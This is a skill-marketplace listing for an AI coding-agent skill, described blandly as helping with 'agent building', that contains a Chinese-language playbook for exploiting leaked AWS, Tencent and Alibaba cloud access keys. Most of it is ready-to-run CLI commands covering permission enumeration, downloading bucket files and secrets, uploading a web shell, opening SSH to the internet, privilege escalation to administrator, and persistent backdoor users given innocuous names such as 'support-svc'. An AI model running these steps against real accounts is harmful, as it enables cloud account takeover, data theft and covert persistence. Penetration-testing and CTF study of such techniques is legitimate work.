
Cloud Aksk Exploit
- 27 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
cloud-aksk-exploit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- cloud-aksk-exploit
- AI & Agent Building
- AI-coding skill
Cloud Aksk Exploit by the numbers
- 27 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,560 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill cloud-aksk-exploitAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 27 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
云凭据 AK/SK 泄露利用方法论
拿到云凭据后的黄金时间窗口通常很短(尤其临时凭据),需要快速高效地完成"枚举→利用→持久化"链条。
按云平台查阅详细命令
识别云平台后,加载对应 reference 获取完整命令:
- AWS(AKIA/ASIA)→ references/aws-exploit.md
- 腾讯云(AKIDz*)→ references/tencent-exploit.md
Phase 0: 凭据识别与配置
0.1 凭据格式识别
| 云平台 | 格式特征 | 示例前缀 |
|---|---|---|
| AWS 长期 | 20字符 AccessKeyId | AKIA... |
| AWS 临时 | 20字符 + SessionToken | ASIA... |
| 腾讯云 | 36字符 SecretId | AKIDz... |
| 阿里云 | ~24字符 AccessKeyId | LTAI... |
| 华为云 | ~20字符 AK | AK... / SK... |
| GCP | Service Account JSON | "type": "service_account" |
| Azure | ClientId + ClientSecret + TenantId | GUID 格式 |
0.2 快速配置
AWS:
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..." # 临时凭据需要
export AWS_DEFAULT_REGION="us-east-1"
aws sts get-caller-identity腾讯云:
export TENCENTCLOUD_SECRET_ID="AKIDz..."
export TENCENTCLOUD_SECRET_KEY="..."
export TENCENTCLOUD_SESSION_TOKEN="..." # 临时凭据
export TENCENTCLOUD_REGION="ap-guangzhou"
tccli sts GetCallerIdentity阿里云:
export ALIBABA_CLOUD_ACCESS_KEY_ID="LTAI..."
export ALIBABA_CLOUD_ACCESS_KEY_SECRET="..."
aliyun sts GetCallerIdentityPhase 1: 通用攻击流程
配置凭据后,按以下顺序操作(具体命令参见对应云平台 reference):
1. 权限枚举(前 2 分钟内完成)
- 确认身份(GetCallerIdentity)
- 枚举当前用户/角色附加的策略
- 逐服务快速探测(存储/计算/函数/密钥)
2. 资源接管(按价值排序)
- 存储桶(S3/COS/OSS)→ 列桶、下载敏感文件
- 计算实例(EC2/CVM)→ SSM/重置密码获取 shell
- 云函数(Lambda/SCF)→ 下载代码、读环境变量
- 密钥服务(Secrets Manager/KMS/SSM Parameter Store)
3. 提权
- 创建高权限策略并附加到当前用户
- PassRole + Lambda/SCF 提权
- AssumeRole 跨角色切换
- → 更多提权路径详见 cloud-iam-audit skill
4. 持久化后门
- 创建后门用户 + AK/SK
- 附加管理员策略
临时凭据注意事项
- 有效期: 通常 15 分钟 ~ 12 小时
- SessionToken: 每次 API 调用都必须携带
- 优先操作: 先创建长期凭据(新 AK/SK 或用户),再慢慢枚举
- 刷新: 如果来自元数据服务,可能可以重复获取新凭据
决策树
获取到 AK/SK
├── 识别云平台(AKIA=AWS, AKIDz=腾讯, LTAI=阿里)
│ └── 加载对应 reference(aws-exploit.md / tencent-exploit.md)
├── 配置环境变量 + 验证身份
├── 快速权限枚举(2 分钟内)
│ ├── 有 S3/COS 权限 → 列桶 → 下载敏感文件 → 找 flag
│ ├── 有 Lambda/SCF 权限 → 读代码 → 读环境变量
│ ├── 有 EC2/CVM 权限 → 获取 shell
│ ├── 有 IAM/CAM 权限 → 提权 → 管理员
│ └── 有 Secrets 权限 → 读密钥
├── 如果是临时凭据 → 先创建持久化后门
└── 深度利用 → cloud-iam-audit skillAWS AK/SK 利用详解
权限枚举
# 身份确认
aws sts get-caller-identity
# 快速权限枚举(按重要性排序)
aws iam list-attached-user-policies --user-name USERNAME 2>/dev/null
aws iam list-user-policies --user-name USERNAME 2>/dev/null
aws iam get-user --user-name USERNAME 2>/dev/null
# 暴力枚举(enumerate-iam 工具)
# pip install enumerate-iam
enumerate-iam --access-key AKIA... --secret-key ...
# 手动快速测试关键服务
aws s3 ls 2>/dev/null && echo "[+] S3: 有权限"
aws ec2 describe-instances --region us-east-1 2>/dev/null && echo "[+] EC2: 有权限"
aws lambda list-functions --region us-east-1 2>/dev/null && echo "[+] Lambda: 有权限"
aws iam list-roles 2>/dev/null && echo "[+] IAM ListRoles: 有权限"
aws secretsmanager list-secrets 2>/dev/null && echo "[+] Secrets Manager: 有权限"资源接管
S3
aws s3 ls # 列出所有桶
aws s3 ls s3://bucket-name --recursive # 列出文件
aws s3 cp s3://bucket/secret.txt . # 下载文件
aws s3 cp shell.php s3://bucket/ # 上传文件EC2
# SSM 直接获取 shell(无需 SSH key)
aws ssm start-session --target i-1234567890abcdef0
# 如果没有 SSM,尝试修改安全组 + SSH
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,State.Name]'
aws ec2 authorize-security-group-ingress --group-id sg-xxx --protocol tcp --port 22 --cidr 0.0.0.0/0
aws ec2 run-instances --image-id ami-xxx --key-name my-key # 启动新实例Lambda
# 读取函数代码(常含硬编码凭据)
aws lambda get-function --function-name FUNC_NAME
# 下载代码包
aws lambda get-function --function-name FUNC_NAME --query 'Code.Location' --output text | xargs curl -o code.zip
# 环境变量(经常有数据库密码、API Key)
aws lambda get-function-configuration --function-name FUNC_NAME \
--query 'Environment.Variables'密钥/配置服务
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_NAME
# Systems Manager Parameter Store
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption提权
# 创建新 Admin 策略并附加
aws iam create-policy --policy-name admin --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
aws iam attach-user-policy --user-name USERNAME --policy-arn arn:aws:iam::ACCOUNT:policy/admin
# PassRole + Lambda 提权:iam:PassRole 不是独立 CLI 命令,而是在创建/更新服务资源时被权限检查
aws lambda create-function --function-name escalate \
--role arn:aws:iam::ACCOUNT:role/HighPrivRole \
--handler index.handler --runtime python3.9 --zip-file fileb://code.zip
# AssumeRole 跨角色
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/AdminRole --role-session-name pwn持久化后门
# 创建后门 Access Key
aws iam create-access-key --user-name USERNAME
# 创建后门用户
aws iam create-user --user-name support-svc
aws iam attach-user-policy --user-name support-svc \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name support-svc腾讯云 AK/SK 利用详解
权限枚举
# 身份确认
tccli sts GetCallerIdentity
# 枚举 CAM 策略
tccli cam ListAttachedUserAllPolicies --TargetUin $(tccli sts GetCallerIdentity --output json | jq -r '.PrincipalId') 2>/dev/null
# 逐服务探测(按价值排序)
tccli cvm DescribeInstances --Limit 10 2>/dev/null && echo "[+] CVM: 有权限"
tccli cam ListUsers 2>/dev/null && echo "[+] CAM ListUsers: 有权限"
tccli scf ListFunctions --Namespace default --Limit 10 2>/dev/null && echo "[+] SCF: 有权限"
tccli cos GetService 2>/dev/null || echo "[-] COS: 用 coscli 或 SDK"
tccli cdb DescribeDBInstances --Limit 10 2>/dev/null && echo "[+] MySQL(CDB): 有权限"
tccli vpc DescribeVpcs --Limit 10 2>/dev/null && echo "[+] VPC: 有权限"资源接管
COS
coscli ls # 列出桶
coscli ls cos://bucket-name # 列出文件
coscli cp cos://bucket/flag.txt ./ # 下载
coscli cp shell.php cos://bucket/ # 上传CVM
tccli cvm DescribeInstances --output json | jq '.InstanceSet[] | {InstanceId, PublicIpAddresses, PrivateIpAddresses}'
# 重置密码(需要 ResetInstancesPassword 权限)
tccli cvm ResetInstancesPassword --InstanceIds '["ins-xxx"]' --Password 'NewP@ss123!'SCF
tccli scf ListFunctions --Namespace default --Limit 50
tccli scf GetFunction --FunctionName FUNC_NAME --Namespace default
# SCF 环境变量
tccli scf GetFunction --FunctionName FUNC_NAME --query 'Environment'KMS
tccli kms ListKeys提权
# 创建子账号(需要 cam:AddUser)
tccli cam AddUser --Name backdoor --Remark "test"
# 创建 API 密钥(给子账号创建 AK/SK)
tccli cam CreateApiKey --TargetUin SUBACCOUNT_UIN
# 附加管理员策略
tccli cam AttachUserPolicy --PolicyId 1 --AttachUin SUBACCOUNT_UIN
# PolicyId 1 通常是 AdministratorAccess持久化后门
# 创建后门子账号
tccli cam AddUser --Name monitor-svc --Remark "监控服务"
tccli cam CreateApiKey --TargetUin NEW_UIN
tccli cam AttachUserPolicy --PolicyId 1 --AttachUin NEW_UINRelated skills
AI & Agent Buildingagents